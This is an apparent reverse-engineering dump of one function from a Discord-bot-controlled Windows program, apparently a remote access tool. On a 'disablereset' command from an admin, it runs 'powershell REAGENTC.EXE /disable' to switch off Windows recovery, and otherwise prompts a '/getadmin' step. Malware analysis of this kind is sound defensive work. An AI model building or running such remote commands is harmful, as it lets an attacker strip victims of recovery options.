Function at 0x1400606f0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3c8
lea rbp, [rsp + 0x20]
mov dword [rbp + 0x364], 0
lea rcx, [0x1400c01c0]
call fcn.14002f99b
nop
mov rax, qword [rbp + 0x3c8]
add rax, 0x40
mov qword [rbp + 0x378], rax
lea rdx, [rbp + 0x1a8]
mov rcx, qword [rbp + 0x378]
call qword [sym.imp.dpp.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_dpp::interaction::get_command_name_void____ptr64]
mov qword [rbp + 0x380], rax
mov eax, dword [rbp + 0x364]
or eax, 1
mov dword [rbp + 0x364], eax
lea rdx, str.disablereset
mov rcx, qword [rbp + 0x380]
call fcn.14002ea5a
movzx eax, al
test eax, eax
je 0x1400607af
mov rax, qword [rbp + 0x3c8]
add rax, 0xd0
mov qword [rbp + 0x388], rax
mov rdx, qword [0x1400b0ea0]
mov rcx, qword [rbp + 0x388]
call fcn.14002f7d9
movzx eax, al
test eax, eax
je 0x1400607af
mov dword [rbp + 0x390], 1
jmp 0x1400607b9
mov dword [rbp + 0x390], 0
movzx eax, byte [rbp + 0x390]
mov byte [rbp + 0x184], al
mov eax, dword [rbp + 0x364]
and eax, 1
test eax, eax
je 0x1400607e7
and dword [rbp + 0x364], 0xfffffffe
lea rcx, [rbp + 0x1a8]
call fcn.14002e4bf
nop
movzx eax, byte [rbp + 0x184]
test eax, eax
je 0x14006091d
mov rax, qword [rbp + 0x3c0]
cmp dword [rax], 0
je 0x140060894
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x248], rax
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0x388], rax
lea rdx, str.running_command_to_disable_reset
lea rcx, [rbp + 0x268]
call fcn.14002ebe0
nop
mov r8, qword [rbp + 0x388]
lea rdx, [rbp + 0x268]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x268]
call fcn.14002e4bf
nop
lea rcx, str.powershell_REAGENTC.EXE__disable
call qword [sym.imp.ucrtbased.dll_system]
nop
jmp 0x14006091b
mov rax, qword [rbp + 0x3c0]
cmp dword [rax], 0
jne 0x14006091b
lea rax, [rbp + 0x2a8]
mov qword [rbp + 0x308], rax
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64_____cdecl_dpp::utility::log_error_void_]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0x388], rax
lea rdx, str.you_are_not_admin_you_need_admin_to_run_this_command_run__getadmin
lea rcx, [rbp + 0x328]
call fcn.14002ebe0
nop
mov r8, qword [rbp + 0x388]
lea rdx, [rbp + 0x328]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.dpp.dll_public:_void___cdecl_dpp::interaction_create_t::reply_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____ptr64___const___ptr64]
nop
lea rcx, [rbp + 0x328]
call fcn.14002e4bf
nop
jmp 0x140060931
lea rdx, str.not_for_me_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14002e2f8
nop
lea rsp, [rbp + 0x3a8]
pop rdi
pop rbp
ret